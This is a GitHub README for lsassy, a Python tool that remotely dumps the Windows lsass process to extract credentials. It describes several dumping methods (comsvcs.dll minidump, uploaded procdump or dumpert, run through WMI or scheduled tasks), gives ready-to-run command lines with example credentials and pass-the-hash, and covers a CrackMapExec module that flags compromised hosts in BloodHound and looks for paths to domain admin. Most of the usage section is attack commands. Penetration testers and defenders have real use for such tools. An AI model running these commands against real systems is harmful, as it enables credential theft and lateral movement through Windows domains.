Skip to content
Extract credentials from lsass remotely
Python Shell Other
Branch: master
Clone or download
Type Name Latest commit message Commit time
Failed to load latest commit information.
.github Rename .github/ISSUE_TEMPLATE/FUNDING.yml to .github/FUNDING.yml Jan 19, 2020
assets Change image Jan 8, 2020
cme Remove method 5 forced Jan 18, 2020
lsassy Update README Jan 18, 2020
test Remove unused file Jan 18, 2020
.gitignore Remove unused file Jan 18, 2020
LICENSE First commit Dec 3, 2019
Makefile Update Makefile Dec 5, 2019 Update README Jan 18, 2020
requirements.txt First commit Dec 3, 2019 v1.1.7 Jan 16, 2020


PyPI version Twitter

CME Module example

Python library to remotely extract credentials. This blog post explains how it works.

You can check the wiki

This library uses impacket project to remotely read necessary bytes in lsass dump and pypykatz to extract credentials.

Chapters Description
Requirements Requirements to install lsassy from source
Installation Installation commands from pip or from source
Basic Usage Command line template for standalone version
Advanced Usage Advanced usage (Dumping methods, execution methods, ...)
CrackMapExec Module Link to CrackMapExec module included in this repository
Examples Command line examples for standalone and CME module
Issues Read this before creating an issue
Acknowledgments Kudos to these people and tools
Contributors People contributing to this tool



From pip

python3.7 -m pip install lsassy

From sources

python3.7 install

Basic Usage

lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target>


Dumping methods

This tool can dump lsass in different ways.

Dumping methods (-m or --method)

  • 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails)
  • 1: comsvcs.dll method, stop on success (default)
  • 2: Procdump method, stop on success (Requires -p)
  • 3: comsvcs.dll + Powershell method, stop on success
  • 4: comsvcs.dll + cmd.exe method
  • 5: (unsafe) Dumpert method, stop on success (Requires -u)

comsvcs.dll method

This method only uses built-in Windows files to extract remote credentials. It uses minidump function from comsvcs.dll to dump lsass process.

This method can only be used when context has SeDebugPrivilege. This privilege is either in Powershell local admin context, or cmd.exe SYSTEM context.

Two execution methods can be used.

  1. WMIExec with cmd.exe (no SeDebugPrivilege), or powershell (SeDebugPrivilege)
  2. ScheduledTasks with SYSTEM context (SeDebugPrivilege)

Procdump method

This method uploads procdump.exe from SysInternals to dump lsass process. It will first try to execute procdump using WMI, and if it fails it will create a remote task, execute it and delete it.

Dumpert method

This method uploads dumpert.exe to dump lsass process. It will first try to execute dumpert using WMI, and if it fails it will create a remote task, execute it and delete it.


lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 0 -p /path/to/procdump.exe -u /path/to/dumpert.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 1
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 2 -p /path/to/procdump.exe
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 3
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 4
lsassy [--hashes [LM:]NT] [<domain>/]<user>[:<password>]@<target> -m 5 -u /path/to/dumpert.exe

Remote parsing only

lsassy can parse an already dumped lsass process.

lsassy [--hashes [LM:]NT] --dumppath /share/path/to/dump.dmp [<domain>/]<user>[:<password>]@<target>

CrackMapExec module

I wrote a CrackMapExec module that uses lsassy to extract credentials on compromised hosts

CrackMapExec module is in cme folder : CME Module



# RunDLL Method
lsassy adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Procdump Method
lsassy -m 2 -p /tmp/procdump.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Dumpert Method
lsassy -m 5 -u /tmp/dumpert.exe adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# Remote parsing only
lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/jsnow:Winter_is_coming@dc01.adsec.local

# NT Hash Authentication
lsassy --hashes 952c28bd2fd728898411b301475009b7 Administrator@desktop01.adsec.local

CME Module

crackmapexec smb -d adsec.local -u Administrator -p Passw0rd -M lsassy -o BLOODHOUND=True NEO4JPASS=bloodhound 


* Better execution process : --method flag has been added and described in help text
* Uses random dump name
* Chose between cmd, powershell, dll and/or procdump methods
* CME module is now using light lsassy WMIExec et TASKExec implementation
* Bug fixes

* Built-in lsass dump
** Lsass dump using built-in Windows
** Lsass dump using procdump (using -p parameter)
* Add --dumppath to ask for remote parsing only
* Code refactoring
* Add --quiet to quiet output

* Add BloodHound option to CME module (-o BLOODHOUND=True)
    - Set compromised targets as "owned" in BloodHound
    - Check if compromised users have at least one path to domain admin
* Custom parsing (json, grep, pretty [default])
* New --hashes option to lsassy
* Include CME module in repository
* Add credentials to CME database

First release


If you find an issue with this tool (that's very plausible !), please

  • Check that you're using the latest version
  • Send as much details as possible.
    • For standalone lsassy, please use the -d debug flag
    • For CME module, please use CrackMapExec --verbose flag


  • Impacket
  • SkelSec for Pypykatz, but also for his patience and help
  • mpgn for his help and ideas


You can’t perform that action at this time.